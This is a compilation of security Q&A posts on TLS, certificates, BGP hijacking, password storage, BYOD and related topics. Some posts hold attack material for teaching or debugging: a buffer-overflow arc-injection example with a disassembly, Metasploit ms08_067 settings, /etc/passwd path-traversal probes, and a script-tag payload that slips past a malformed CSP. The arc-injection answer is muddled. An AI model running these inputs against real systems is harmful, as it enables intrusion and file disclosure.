
Taking into account that most people won't be affected, because all the browsers (not counting systems as Vista or XP, nor old Android/Apple versions) already have support for TLS1.2 since a very long time ago.

So I say, I am up to disabling TLS1.1 on all my servers.

Most of you will probably argue, that such thing is sort of too aggressive, but why wait?

Let's put the question the other way: What do you gain by disabling TLS 1.1?

Security

You and your quote seem to be implying that you want to move to TLS 1.2 because it's more secure than TLS 1.1. That's not really the case.

TLS 1.2 did add new crypto, for example you can now use AES instead of 3DES, or ECDHE instead of DHE. At the moment, there are no known attacks against those ciphers so you can't directly say that it's for security. 1.2 also replaces MD5 and SHA1. That is a security improvement, but for something as short-lived as a TLS connection, it's unlikely to be a major weakness.

So while TLS 1.2 offers newer crypto algorithms, the old ones are still considered acceptable, so it's hard to make a straight security argument.

Performance

Because of the newer ciphers, you will get slightly less server load when using TLS 1.2. TLS 1.3 will offer improved performance at the protocol level as well. These by themselves may be reasons to switch, but it really has nothing to do with security.


How to change the expiration time for the pkcs certificate? I have an application (which I'm testing), in which I create some services. These services are accessible via libraries i.e java and python apis. In order to authenticate the api calls, the application does gives me pkcs file.

I want to change the expiration date of the pkcs file, only for testing purposes.

I followed the steps that are defined over here, and found my certificate expiration date is Dec 2014, I just want to change that to say Jan 13 and see how my application behaves.

How should I do this in openssl?

Thanks in advance

The expirationDate is part of your (signed) certificate, thus if you change it you invalidate the certificate. The proper way to test this case is to issue another certificate with the desired expirationDate from the CA that issued your certificate.

Alternatively (if you have the code to the application) just skip over the signature verification. Please do tell which crypto library your app uses ofr further information.


Should I really salt in a RSA/AES hybrid connection? I start by saying that I'm pretty new to encryption and I'm pretty bad at finding weakness in everything.

Said so, i'd like to talk about an huge doubt I'd like to clarify before I end up doing something wrong in pratice: one thing I learnt while studying symmetric key encryption methods such as aes  is that salts are god. You should salt, salt and salt. And I get that it's really useful to block rainbow dictionary attacks and that's good.
However, from what I got, all the examples were talking about cases where you're encrypting an user's password, which are usually known words or similar.

Let's suppose now an advanced scenario: I have an hybrid communication system using a RSA (asymmetric) and aes (symmetric) hybrid communication system between clients and a server where:

-the server owns a RSA private key, the clients owns the public part

when a client wants to establish a connection, he does:

1-generate a random symmetric key

2-encrypt it with the public RSA key

3-send it to the server

4-the server reads the ciphred key with the private key

5-now both systems has a symmetric key which will of course be monouse, which had never been transmitted in plain, and can communicate with the speed of aes

So the question is: in a scenario like that, is that really worthy salt the aes symmetric key before sending it to the server in point 3? Because first it's random, second it's monouse, 3rd as far as I know there is no way an hacker could do much without knowing the private key. And anyway the final password being sent is something which will be anyway a random set of characters, just as the unsalted key.

Or is there a scenario where it could be useful?

You only need to hash and salt passwords that you store on a server for user authentication. In your case, you have a random key that will only be used for a connection's lifetime, so a salt would be useless.

Also keep in mind that your protocol doesn't provide authentication and is likely vulnerable to two dozens catastrophic attacks. We already have TLS for establishing a secure connection : use that if you want serious security (and don't make your own implementation : these require as much experience as the protocol itself).


Wireless auto-join on laptops Maybe I have the wrong idea but this is a question that has been floating in my head for some time.
Whenever you use an iPhone (or a Mac, Apple products seem to be more prone to this because it simplifies stuff for users) you get asked what network to join if you are not on WLAN.
Now imagine this scenario: You have to debug stuff at your cousin's computer but need access to the internet in order to read up something on the bug. You get the key to the wireless network and save it on your phone. Since it is your cousin's network he's cool with you keeping the key. However, the SSID of the network is the default one from the vendor. You try to tell him how to change it but he doesn't seem interested, so you drop it.
Fast forward some time, you are in a city and want to read up something. Since the iPhone is on 3G, it asks if I want to join a wireless network (even though I deactivated that feature). However, when there is a Network with the same default SSID, it does not show me a list of networks but rather an input field that asks the key to that network as if I typed it wrong.
My questions
Has the device (regardless of hardware) already sent the key to the wrong router prior to asking a new key? If yes, is it a security risk worth caring about and can that technique be used against me if, for instance, someone sets up a second network in my vicinity with the same SSID? Is static DHCP for WLAN-devices a useful fallback technique once the key is broken?

There is nothing to worry about.  The key is not sent to the router.

The key is what is used to encrypt the traffic from both ends.  So if the access point doesn't have the same key to decrypt the traffic you are sending it, all it will see is garbage.


Why not simply backup the TrueCrypt container file? The TrueCrypt website has some detailed information on how to backup (TrueCrypt non-system volumes) securely, summarised below:

  Create a new TrueCrypt volume
  Mount the main volume.
  Copy all files from the mounted main volume directly to the mounted backup volume.

My question is: Why is this necessary? Why not simply copy the encrypted TrueCrypt container file to your backup service/device? According to step 5 of the TrueCrypt tutorial, this container is a normal file that can be copied, moved, etc.

Surely copying this encrypted file to a possibly insecure backup medium is the simplest and most secure way to backup?

What advantages could there be to the method mentioned on the TrueCrypt website? It mentions at the start about files in the volume possibly becoming corrupted - is that relevant? In this case I'm not interested in hidden volumes or plausible deniability.

Backing up the TrueCrypt container means that you'll end with a timeline of your encrypted volume, and all of those versions share the same key. Having different versions of the container with the same key gives the adversary two advantages:

Information leakage: The adversary will know which sectors of the volume changed.
and, as a consequence, a compromise of the plausible deniability in case you have a hidden volume inside that volume.

In the real world, however, the case is quite different. If you don't have a hidden volume or you don't care about the adversary knowing about your hidden volume, then having some backups of the volume isn't really an issue. The cryptographic concerns (cryptanalysis) are, so far, only theoretical.


Can someone steal my IP address and use it as their own? I am not talking about home networks (like hacking my wifi and using it). Can someone from another geographical location steal my IP address in some way?

For example:

  I am angry with you. -> I want to make you suffer and managed to find
  your IP address. -> I decided to steal your IP address (meaning
  replace my IP address with yours) in such a way that what ever I do
  the feds going to be coming after you. -> So I bought some illegal
  drugs from the dark web (with my replaced IP address). -> The feds
  catches you.

Is this scenario possible?

Network engineer with Border Gateway Protocol (BGP) experience here.

Yes.  But usually the attack would have to be for a larger address block and (as Eevee commented) require an attacker with specific skills and access.  If someone calls you and claims that your IP is hacked, they are probably a scammer.  Hang up!

Back to the question:

Let’s assume the “good ISP” company is allocated 1.1.0.0/16.  You are a customer of “good ISP” and your home router public IP address is 1.1.5.5.

“EvilCo” wants to make you look bad by downloading ...inappropriate... content from 1.1.5.5.  They have an unfiltered BGP routing protocol connection to the Internet and advertise 1.1.5.5/32.

That attack fails.  While their BGP connection is not filtered (and we are talking about route advertisement filters here, not packet filters), Internet ISPs generally don’t accept IPv4 routes more specific than a /24.

So EvilCo advertises 1.1.5.0/24 in BGP.  That succeeds.  Both 1.1.5.0/24 and 1.1.0.0/16 exist in the core Internet routing table and the more specific route wins!

A few mitigations:

ISPs generally filter BGP connections to their customers and only accept specific routes, but there are plenty of unfiltered BGP connections out there (I personally had access to one in a prior job...it was so old it was created before the ISP tightened their standard configs).
Good BGP operators use a “BGP monitoring service” which sends them an email when someone else advertises one of their assigned blocks. (BGPmon)
There are “route registry databases” (RADB for example) and some ISPs try to police their routes with the databases, but those databases are generally incomplete.
The requirement to attack a larger block (/24) makes the attack more obvious, since multiple people are affected and all BGP updates are logged by several organizations.

It is also possible for a rogue operator inside “Good ISP” to specifically take over your /32.

It is always possible for anyone to send traffic with a source IP of 1.1.5.5 without rerouting the block, but that will not result in completed TCP handshakes so no downloads will occur (DNS queries are usually single-packet UDP, so it is easy for someone to forge DNS queries from your IP address for an inappropriate domain and send it to an arbitrary DNS server where the query might be logged).

There's a pretty good discussion and history of “BGP hijacking” incidents on Wikipedia. Network operator organizations including NANOG (North American Network Operators Group) communicate and cooperate to deal with (or at least bring visibility to) these when they occur.

Many (most?) BGP hijacking incidents are “operator error” rather than intentional.  In some cases companies find IPv4 address space that is assigned to a no-longer-operational entity and use that for business operations.  IPv4 address space is scarce and expensive due to IP address depletion.


Why is using a password manager better than a simple passwords.txt file? Genuinely curious. What types of attack is a password manager (such as Keepass) designed to stop? If a hacker gets access to your system, it's game over anyway, so what is the added value of encrypting one's passwords?

With a password manager, your passwords are not stored in plaintext on your computer. In other words, even if a malicious actor gains access to your system they will still not have your passwords.

Password managers also do a good job of helping you create long and complex passwords (vs. smashing on the keys in an Excel document), in the event that the site you are logging into becomes compromised. You can also have different passwords for each site, further reducing your risk. Additionally, you can have a USB key that is required to access those passwords, so when you aren't near your computer you take away the access key. Attackers can brute force all day long, chances are they won't get access to the passwords. This beats a password protected file all day long.

Side note: when doing penetration tests, after gaining internal network access, one of the first things I do is search all shares on the Domain for the string: "Password". I get hits every time :(  don't let that be you.


How does iOS prevent unauthorised code from running? I'm just wondering. How does iOS prevent someone from executing code on their device that isn't from Apple or downloaded from the App Store?

Also what exactly, does a Jailbreak do to allow unauthorised code to be run on an iOS device?

Also are the steps to Jailbreak a device repeatable when a new version of iOS is released? I was wondering because when a new version of iOS is released there is usually a Jailbreak within a few hours.

I heard it was something to do with the security certificate that Apple gives to each of its developers, but I don't know anything more than that.

Once a computer boots, the operating system is given near exclusive control over the system resources (kernel access).  After this occurs, if a program wants to run, it must ask the OS to let it run.  Before iOS allows an application to run, it examines the code that is going to be loaded in to memory from the binary and checks it against a signed value that proves to the OS that Apple has reviewed the contents of the binary and given it the green light.  Only after this check succeeds is the code allowed to run.

Jailbreaking removes this check by altering the OS such that it sees all applications as valid and allows them to run.  Since Apple won't sign an application that makes these changes, exploits have to be used in high privilege signed code (normally the OS itself) to allow the needed changes to be injected in to the system.

The same exact kind of security could be implemented on other devices as well (in fact, it is optionally able to be turned on in Android) however, not having the option to turn it off is highly contentious as at that point you don't really own your own hardware anymore since someone else is telling you what you can and can't do with it.  It is good for preventing people from accidentally installing bad things, but bad from a user freedom perspective (which is the main reason we haven't seen this technology expand in to desktops despite the fact it is completely technically possible to do so.)


Suspicious phone call claiming MS Office not updated lately I recently received two phone calls where the caller indicated that according to their log activity, MS Office has not been updated lately. They offered to help me get those updates. What kinds of things might they really be looking for?

Setting up my machine to participate in DDOS came to mind.
Harvesting my machine for 'identity theft info' would seem to require a lot of effort.

It didn't take long for the caller to hang up. Apparently I asked too many questions. An amusing part is his statement that my "computer machine" is not up to date.

Those attacks are becaming common. They usually call people telling the computer is infected, Windows' license expired, or any other "problem". They end up installing software on your computer, sending a huge bill for remote support or steal credit card information.

Using your machine as a DDoS bot is too much trouble for this kind of attack. They usually get money easier just stealing your credit card info or encrypting your data and asking a ransom.


Can client-side hashing reduce the denial-of-service risk with slow hashes? When storing user's passwords that you need to verify against (but not use as plaintext) the current state of the art is:

Hash the password
Use a salt
Use a slow hash function - bcrypt, scrypt, etc.

This provides the best possible protection against an attacker who has stolen the password database. It does not solve other issues like phishing, malware, password re-use, etc.

But there is one remaining problem: the slow hash function can allow a denial of service attack. A single request burns a lot of CPU, which makes a DOS possible with a relatively small number of concurrent requests, making it difficult to use defences like IP throttling.

Given the improving performance of JavaScript in browsers, it may now make sense to do this in the browser. I'm assuming here that the site is using SSL, so the JavaScript is delivered securely. If you're not using SSL, then using a slow hash function is unlikely to be a priority for you. There is at least one JavaScript implementation of bcrypt. But using this in a simple way would introduce two problems:

The client needs to fetch the salt from the server. This introduces latency on login and, unless care is taken, can reveal whether a particular user account exists.
If hashing is done purely on the client then the benefits of storing hashes are lost. At attacker who has stolen the password hashes can simply login using the hashes.

However, I think there are acceptable solutions to both of those problems:

The salt can be generated as hash(server_salt + user_name) - where server_salt is a random number that is unique to the server, public, and the same for all users. The resulting hash appears to have the required properties of a salt.
The server should do a single, fast, hash operation on the hash it receives. As an example: the server stores SHA-256(bcrypt(salt, password)). The client sends bcrypt(salt, password) then the server applies SHA-256 and checks the hash. This does NOT allow an attacker to conduct a fast offline brute force attack. They can do a fast brute force of SHA-256(password) because password has a limited amount of entropy - 2^50 or 2^60 or so. But a 128-bit bcrypt(salt, password) has entropy or 2^128, so they cannot readily brute force it.

So, is this a reasonable and secure approach?

I am aware of the general advice to "don't roll your own crypto". However, in this case, I am attempting to solve a problem that is not solved by off-the-shelf crypto. For some basic credibility, this has been looked at by John Steven (a recognised expert in the field) with positive outcome from a "brief" analysis.

Using servername+username as salt (or a hash thereof) is not ideal, in that it leads to salt reuse when you change your password (since you keep your name and still talk to the same server). Another method is to obtain the salt from the server as a preparatory step; this implies an extra client-server roundtrip, and also means that the server would find it more difficult to hide whether a given user name exists or not (but it does not matter much in practice).

What you describe is a well-known idea, usually called server relief, which can be applied to just any password hashing function in just the way you describe:

Client obtains (or computes) the salt.
Client computes the slow salted hash value V and sends it as password.
Server stores h(V) for some fast hash function h, and uses it to verify the V value from the client.

This is safe. The main drawback is that the slow hashing will go at the speed of the client, so the number of iterations may have to be lowered, possibly considerably so if the client is computationally feeble -- as is the case for anything involving Javascript. If the system must work with a browser on a not-so-recent smartphone, then the iteration count will have to be 10 to 100 times smaller than what could be done on the server, implying a corresponding reduction in resistance to brute force (in case the attacker steals the hash values stored on the server).

So that's a trade-off: since the busy server offloads work on clients, it can use a higher iteration count without itself drowning under the load; but since the clients are weak, the iteration count must be lowered, usually much more than it was increased thanks to the offloading; this means that the construction is not worth the effort. Usually.

Of course, if the clients are computationally strong, e.g. this is a native-code application on a gaming machine, then server relief is a good idea and will look like the way you describe it.

Another possibility is offloading the work to another, third-party system, e.g. other clients (already connected): this can be done securely if the hash function includes the necessary mathematical structures. Such offloading is know as delegation. To my knowledge, delegation is offered by only a single password hashing function, called Makwa (see the specification), one of the candidates of the current Password Hashing Competition.


Constructing a tainted string for arc injection I'm new to security and currently referring to Robert Seacord's Secure Coding in C and C++.

In chapter 2 of the same, the author talks about arc injection, wherein he passes the flow of control in the following program from the isPasswordOK() routine to the else() {puts ("Access granted!");}; branch in main() by overwriting the Password buffer in gets() call with a tainted string: 1234567890123456j>*!

#include <stdio.h>
#include <string.h>
#include <stdbool.h>

bool isPasswordOK(void) {
    char Password[12];

    gets(Password);
    return 0 == strcmp(Password, "goodpass");
}

int main(void) {
    bool pwStatus;

    puts("Enter Password: ");
    pwStatus = isPasswordOK();
    if (pwStatus == false) {
        puts("Access denied");
        exit(-1);
    }
    else {
        puts("Access granted!");
    }
}

Here, j = 0x6A, > = 0x10 (This is the Data Link Escape symbol), * = 0x2A and ! = 0x21

This sequence of 4 characters then corresponds to a 4-byte address, which I'm assuming is 0x6A102A21. This address, I think, points to the else line in the main() function, and we redirect control by overwriting the return address on the stack by the address of this line.

I'm trying to reproduce the same on my machine (x86-64 architecture). I've turned stack protection and randomization off, so I don't think that should be a issue. In fact, the program crashes as expected when I try to corrupt the return address. My problem is: how do I provide as an input to gets the tainted string? If I disassemble main using gdb, I get the following output:

(gdb) disassemble main
Dump of assembler code for function main:
   0x0000000000400642 <+0>: push   %rbp
   0x0000000000400643 <+1>: mov    %rsp,%rbp
   0x0000000000400646 <+4>: sub    $0x10,%rsp
   0x000000000040064a <+8>: mov    $0x40071d,%edi
   0x000000000040064f <+13>:    callq  0x4004c0 <puts@plt>
   0x0000000000400654 <+18>:    callq  0x400616 <isPasswordOK>
   0x0000000000400659 <+23>:    mov    %al,-0x1(%rbp)
   0x000000000040065c <+26>:    movzbl -0x1(%rbp),%eax
   0x0000000000400660 <+30>:    xor    $0x1,%eax
   0x0000000000400663 <+33>:    test   %al,%al
   0x0000000000400665 <+35>:    je     0x40067b <main+57>
   0x0000000000400667 <+37>:    mov    $0x40072e,%edi
   0x000000000040066c <+42>:    callq  0x4004c0 <puts@plt>
   0x0000000000400671 <+47>:    mov    $0xffffffff,%edi
   0x0000000000400676 <+52>:    callq  0x400510 <exit@plt>
   0x000000000040067b <+57>:    mov    $0x40073c,%edi
   0x0000000000400680 <+62>:    callq  0x4004c0 <puts@plt>
   0x0000000000400685 <+67>:    leaveq
   0x0000000000400686 <+68>:    retq
End of assembler dump.

Since I want to jump to the second puts() call, I think I need to provide 0x0000000000400680 as a part of my tainted string because this is the address of the second puts() according to the gdb disassembly.

How can I do this? In the book, the address was of length 8, but here I have one of length 16. Also, there is no ASCII representation for 0x80, so what am I supposed to provide as an input to gets? Basically, what I'm asking for are the characters that I should provide at ?:

1234567890123456????

There are two things you should consider in this piece of code:
The first one is the type of the variable pwStatus, the second one is the value of the strcmp return address.
The goal is to overwrite the strcmp return address to make the pwStatus variable to be always true, because of pwStatus variable could only be true or false; So, if the ASCII code of one character of the string buffer passed to the strcmp function overwrites the pwStatus variable to a true value, the flaw of the script code is managed to grant you the access.
If the password is only 8 char, why don't you use strncmp instead of strcmp on a 12 or more char buffer ?


Is this company's claim to have solved MITM attacks true? The Daily Mail reported in Dec 2014 about a company that claimed to have solved the MITM attack.

Can someone explain how this is possible or what the difference is from TLS?

TL;TR: there is maybe (or maybe not) some substance to the patent but I consider the claims made in the press widely exaggerated.  I don't see any substance for the claims of helping against MITM. And it addresses different use cases than TLS, so no need to compare.

While there was lots of press end of 2014 about this issue it basically repeats the same fuzzy claims ("privacy", "could have prevented attacks at sony") without getting into any detail.

The patent which they probably refer to is probably System and method of enforcing a computer policy (or similar patents in other countries). Looking at the claims of this patent basically describes the use of a TPM in the client and a centralized server to secure encryption and decryption at the client, i.e. use remote attestation to make sure that only the correct client gets the keys and use TPM to help with encryption/decryption so that the keys itself will not be available in plain for the clients applications.

So yes, it could have probably helped Sony to encrypt its data a bit but I cannot see how it would have prevented theft of the data once the client has access to the data (needs it to work with them) and the attacker is on the client too. And I completely fail to understand how this could help in privacy as claimed in the press. And the only thing it has to do with MITM is probably to make sure that the exchange between the policy server and the client is protected, but it is nothing to do with MITM of the connection between a client and some web server.

So why did we get such unspecific and exaggerated coverage by the press? It might be that the company needs to show its investors that it has good assets because the finances itself don't look that good. And it is very strange then I could not even find an official web site for this company.


How should security user training be provided when implementing a company BYOD strategy? Our company is implementing a BYOD policy. I am working with management to draft end user training guidelines / standards as senior member of the Information Security team. Our company is in a regulated industry and works routinely with PII / PHI. Company employees come from varied technical backgrounds from cybersecurity background (like myself) to completely non - technical (e.g: customer support representative in call center).

As BYOD is implemented, I see end user training of security controls and security awareness to become much more important, as endpoint device security become more of the user's responsibility, responsibilities such as the ones listed below. I also see incident response responsibilities from the end user taking greater importance, to mitigate incidents such as this one.

User device patching
Maintenance of AV and malware solution
Use of encrypted WiFI and avoidance of public WiFi hotspots
Secure storage and transmission of company data and user requirements to segregate company data from personal data on the user's device

I have been thinking of ways to tailor the education to all end users, IT or not. Our team want the training to be sufficiently in depth so end users know what their expectation are regarding protecting company data on personal devices, but not so technical that end users are confused. What I am thinking for a draft:

Very high level of BYOD for non - technical folks focusing on why and what
Same high level training as above, but more technical details of how for IT employees with more technical know-how

Questions:

When giving training materials on IT security to company employees, how should the decision on what level of training is appropriate best made?
Are there any other considerations for training end users on their increased responsibilities and expectations when implementing BYOD
What changes in training method or content, if any, should be made for third parties / vendors (some international) who access company IT resources from their own device?

In the security community, BYOD stands for "Bring Your Own Disaster".

Any realistic implementation would need to be segmented networks with core systems isolated from the more general access network.

Company access should only be through a company supplied encrypted VPN/Tunnel application with 2FA. This in turn implies individual tracking, vice generalized permission.

Limit personal device access to a whitelist of services and protocols.

Comprehensive network activity monitors need to be running and paid attention to, not logged and ignored as is so common.

Training should emphasize network monitoring. Make it it clear and public that individual actions are tracked and recorded.

Good Luck!


How to save a web page with its certificate? I've made a payment to an online store and they're claiming there's no order with the number that appeared in my screen, therefore they're refusing to send me the product. I still have the page opened and I would like to save the entire content of the page in a way that the certificate goes together, so I can prove all that content was generated by them, so I can prove that order number were given to me.

How to do it? I've saved the HTML page already, and the certificate too, but I don't think it'll work. Can I do it in firefox? (the page is already open there).

Saving the certificate won't help you.

When the HTTPS connection that delivered the HTML page was opened, your browser and their server securely established a (random) session key to use for the rest of the TLS session. Before proceeding with the HTTP request, your browser also verified that it was indeed talking to the owner of the certificate that was presented (that is, the holder of the corresponding private key).

When the HTTPS connection was closed, that session key was discarded (by both ends), so even if you had saved the ciphertext of the HTTPS interaction, neither party could decrypt it a second time. But anyway, neither of you saved the ciphertext unless you happened to be capturing packets at the time.

In short, your browser claims that the document displayed in its window is an untampered version of exactly what was delivered by the server but it is not in possession of what it takes to prove that.


Will having 2FA protect me on a potentially insecure network? Whenever I browse to a Google site on my Library's network, I get this screen:

Presumably this is so they can "protect" children (anyone with a library card who is under 13) from unsafe videos as safety mode can be overridden if you log in to your account. But, I don't know that's the only reason they're doing it and the network may (in theory) be compromised. If I login to my Google account, the library could preform a MITM attack, even though the page is SSL. They would be able to see my password, but would they still be able to login to my account if I had 2FA?

2FA would not protect you when in a MITM situation. Imagine this scenario: the Google login page is fake, and everything you enter is captured by the MITM. You supply your credentials, then the fake site passes that on to Google. Google challenges the MITM for the 2FA code, but passes that request on to you. You supply the passcode, and now the MITM passes that on. The MITM is now properly authenticated and passed 2FA. They now have control over your account: they could stop allowing you to access the session and take over, or watch your session in secret.

2FA is primarily meant to protect you from malicious actors trying to bruteforce your account or using a captured password.


Creating a custom restore disk to prevent data mining? I work in commercial telecoms and one part of our business is the leasing of computer equipment to call centers. If the customer for whatever reason gives us the equipment back (non-payment, out of business, downsizing) we lease out these same computers to the next customer.

Making sure the computers are ready to be shipped out again now falls under my responsibility, and I have been made aware that the previous method for resetting them was simply to log on, delete the contents of My Documents, and empty the recycle bin. I know this is in no way secure and what I now want to do is to combine the tasks of removing data properly, resetting the computer to a factory state, and installing a few specific programs into one operation.

Is it possible to create a custom Windows recovery/reset disk that will also install a select few programs AND change a number of settings? Where would I start?

What you describe is the worst possible practice possible apart from just handing it over. From a security standpoint it poses significant risks to both the previous and current parties.

The easiest way to reformat PCs is to use what is called a "golden image" this image is a windows image you:

keep up to date
only install the bare minimum of programs necessary

Next what you can do is setup a PXE server. Instead of using DVDs you just upload this disk to a central DHCP server and you hook the machine onto it. You then boot it into PXE mode and it will load the image from the network (if you use gigabit ethernet it can be a lot faster than a common DVD). The benefit of this is that you are basically can install a lot of machines concurrently without having to use DVDs. The nice part is that Windows also offers tools to completely automate this type of deployment including running post install scripts.

There is however a small catch, the disks also would need to be wiped clean before re-installing the windows image. Windows does offer this possibility using their Windows PE environment.


Methods of accessing CRLs I'm creating custom certificates with CDP Definitions with the option of configuring several methods of accessing the CRL. My options are HTTP, LDAP, and FTP. What are best practices or should I say why pick one vs the other?

A CRL distribution point has the following two requirements:

It must be highly available.
It must be accessible for everybody.

All three protocols can be highly available implemented but the second requirement makes HTTP the preferred choice.

The technological barrier of HTTP compared to FTP or LDAP is much lower.  HTTP can be accessed directly and via a proxy server. And the protocol is quite simple.

This does not apply to FTP or LDAP.

FTP can only be used in passive mode via a proxy server and the protocol is a bit more complicated and less standardized. Different servers generate different directory listings, which are sometimes incompatible to each other.

LDAP is well standardized but the implementation requires ASN.1 decoding, which is more complicated than HTTP. And there are no proxies available for LDAP in a perimeter security gateway of a typical company.


Would running different functions on virtual machines on the same server make me compliant with PCI DSS requirement 2.2.1? I'm currently going through the PCI DSS requirements and wondered whether running different functions on virtual machines on the same server still make me compliant with the requirement below for PCI DSS.

  2.2.1 Implement only one primary function per server to prevent functions that require different security levels from co-existing on
  the same server. (For example, web servers, database servers, and DNS
  should be implemented on separate servers.)

I have a small feeling the answer might be no.

Short answer yes, but vms add an additional layer of complexity.

Long answer:

A hypervisor creates an additional attack surface. Not only do you have to worry about the traditional risks that exist in a physical environment, but now you have to worry about the hypervisor itself. If it is compromised, all components of the system are therefore compromised. Misconfiguration of the hypervisor could result in a single point of failure / compromise that now affects every VM on it. So, you have to make sure that you (at a minimum) restrict it according to least privilege, "need to know" and make sure your monitor it (but that's another problem because VM monitoring is not as mature as traditional...)

The additional layers of complexity that result from dealing with a VM (especially if you put a virtual firewall in) give you more of an opportunity to make a mistake.

You also have to make sure you setup user accounts correctly. Misconfiguring the VM users and accidentally allowing too many privileges to a given user, (potentially) gives them access to LOTS more than your simple mistake.

Then you have to worry about old VMs that are "off" and unused. Power cycle the box, and forget that it's set to autostart and you've added a machine to the network that isn't being maintained.

Snapshots add another problem. Sure, it's nice to do a snapshot for an update to prevent the update from taking down the whole system, but you have to be careful that you properly manage that so you don't accidentally leave payment card information vulnerable in the snapshot.

Information may also leak between components, so you have to gaurd against that as well.

And, of course, the hypervisor itself is yet another thing that must be updated, maintained, and secured on a regular basis.

So, there is a trade off between the convenience of using a vm box to host your components and the added complexity and tasks required to keep it secure.

So, long conclusion: sure. You can make it PCI compliant. It just takes a little more effort to deal with the complexities.


Issue with metasploit RHOST LHOST I'm having a weird bug. I've tried this result on two different VM's on the latest Metasploit version.

msf exploit(windows/smb/ms08_067_netapi) > show options

Module options (exploit/windows/smb/ms08_067_netapi):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   RHOST                     yes       The target address
   RPORT    445              yes       The SMB service port (TCP)
   SMBPIPE  BROWSER          yes       The pipe name to use (BROWSER, SRVSVC)

Payload options (windows/meterpreter/bind_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  thread           yes       Exit technique (Accepted: '', seh, thread, process, none)
   LPORT     4444             yes       The listen port
   RHOST                      no        The target address

For some reason, the payload only gives me the RHOST option so I cannot set the LHOST. I've tried setting it anyway but I cannot set it.

A bind_tcp payload doesn't require a LHOST because it doesn't initially make an outgoing connection. Instead, it listens (binds) to the specified port.

Perhaps you are wanting to use a reverse_tcp payload, this would require a LHOST and LPORT to be specified to connect to.


Unable to understand why the web app is vulnerable to a Directory traversal attack I was working with this web-app, when someone pen-tested it and sent me a huge report that says my app is vulnerable to a Directory traversal attack.

Here is one sample:

Testing Path: http://127.0.0.1:80/??/etc/issue <- VULNERABLE!

I put http://127.0.0.1:80/??/etc/issue in my browser, but it gave me the home page, it didn't at all return the /etc/issue file.

Then I tried with curl and it too returned the homepage.

Could somebody please explain me how my app is vulnerable, if the /etc/issue file is not returned.

The app is coded in Python 2.7, with flask as the framework and Nginx as a reverse proxy.

Two more samples from the report, along with the corresponding response :-

Testing Path: http://127.0.0.1:80/??/etc/passwd <- VULNERABLE!

GET Request - app: 0|req: 1587/1587] 127.0.0.1 () {34 vars in 488 bytes} [Tue Sep  6 15:47:13 2016] GET /??/etc/passwd => generated 982 bytes in 4 msecs (HTTP/1.1 200) 2 headers in 80 bytes1
Testing Path: http://127.0.0.1:80/??/??/etc/passwd <- VULNERABLE!

GET Request - app: 0|req: 1591/1591] 127.0.0.1 () {34 vars in 493 bytes} [Tue Sep  6 15:47:14 2016] GET /??/??/etc/passwd => generated 982 bytes in 5 msecs (HTTP/1.1 200) 2 headers in 80 bytes

I sent a report for a similar vulnerability recently and got a similar response.

Turns out most browsers and CLI http clients remove path traversal components from the URL.

For instance if on Firefox you type the URL http://example.com/../../../etc/passwd the GET request that arrives at example.com will look like this:

GET /etc/passwd HTTP/1.1
[Ommitted headers]

Same deal with wget.

You should try with a lower level tool, like telnet or netcat:

$ telnet example.com 80
GET /../../../etc/issue HTTP/1.1

HTTP/1.1 400 Bad Request
Content-Type: text/html
Content-Length: 349
Connection: close
Date: Wed, 07 Sep 2016 12:38:13 GMT
Server: ECSF (fll/078B)

Then again, it might have been a false positive, your auditor should've included the contents of /etc/issue in the report. That's kind of the point of using issue and not passwd.

You should at least follow up with your auditor to confirm whether it was a false positive. If that's not possible, arrange a new pentest or perform your own with a path traversal fuzzer like dotdotpwn

Never assume you're secure, ensure you are. Especially after a report like that.


What risks am I taking with a weak password on a laptop? I'm setting up a Mac laptop for my wife. Mine has a ridiculously strong password, but she finds this annoying.

If I give her a (relatively) weak password for convenience, what risks am I taking?

A couple I can think of:

An attacker in person guessing or brute forcing it (unlikely)
An attacker brute forcing and getting an SSH connection (unlikely if we're behind a firewall?)

What else?

The risk posed by a weak user password is generally rather low, unless you're being attacked by someone really determined to get in to your wife's system (perhaps to gain access to other computers on the network?). This is for two primary reasons:

It's easy to defend against the password's use over a network:
While I don't generally work with Macs, it is my experience with PC's (as Linux doesn't, to my knowledge, have a comparable pre-installed service) that any and all services allowing remote access to anything (more recent versions have different services for remote registry, remote shutdown, remote desktop assistance, etc.) with an admin's password can be shut down/disabled without too much trouble (if you know what you're doing, locating the services takes MAYBE 5 minutes, and if you're prepared you can simply import a new security policy). The only reason I could think of to want someone's user password is to escalate your malicious program, which can be done easily enough without the user's consent.

It's difficult to GET the password in the first place: Brute-forcing over a network is VERY time consuming and very easy to defend against. To my knowledge, all realistic brute force attacks need to be performed against a hash (or encrypted data). Therefore, to even start trying to brute force her user password, your theoretical attacker first needs to access the aforementioned hash (obviously stored on her hard drive) first. If he has that, we can only assume that he could easily be doing something more efficient with his access (whether remote or physical) than looking for her user password (installing keyloggers comes to mind).

NOTE: The one reason I can think of to access someone's user password is a password-reuse attack, in which the attacker uses a sniffer to determine what accounts the victim has (sadly, this data usually not difficult to gather) and then attacks the weakest hash/encryption of their password, hoping that they use the same password on other accounts.


Is it possible to bypass malformed Content Security Policy missing quotes? I found a website that has a very strict but malformed Content Security Policy of the form:
Content-Security-Policy: script-src none

which should actually be
Content-Security-Policy: script-src 'none'

Firefox shows warnings

Content Security Policy: Interpreting http://none as a hostname, not a keyword. If you intended this to be a keyword, use ‘none’ (wrapped in single quotes).

Content Security Policy: Interpreting none as a hostname, not a keyword. If you intended this to be a keyword, use ‘none’ (wrapped in single quotes).

Can this be exploited by generating a server that would satisfy the hostname requirement?
How would a hostname address like this look like?

I think that means the CSP will allow scripts from the domain none. So if you were able to inject the following tag, the CSP would allow it to run:
<script src="http://none/evilscript.js">

and as long as the victim's machine can resolve none to a DNS name / IP address, you're in business!
The hard part of course will be getting either the public DNS servers, or a local DNS server within the victim's network, to accept a DNS record for none mapping to an IP address that you control. In practice I suspect you won't be able to pull off the attack.


Unattended Disk Encryption I have been asked to implement disk encryption on a machine that needs to be able to run unattended. The machine has two disks. The first disk has a boot partition and an OS partition, while the second disk only has one partition and is used for storage for an application. The goal is to protect the data in the storage partition from being read, should someone decide to steal the disks.

My plan is to use Linux's dm-crypt module to encrypt the OS and storage partitions. I figure that it makes the most sense to use a key for each encrypted partition. However, I'm struggling to figure out the best way to store each key.

For the key for the storage partition, it seems safe to store it in the OS partition. However, it seems that the only option for storing the key for the OS partition is to keep it in the boot partition. It would be really nice if there were some kind of TPM or other storage local to the machine, but unfortunately there is no other storage available.

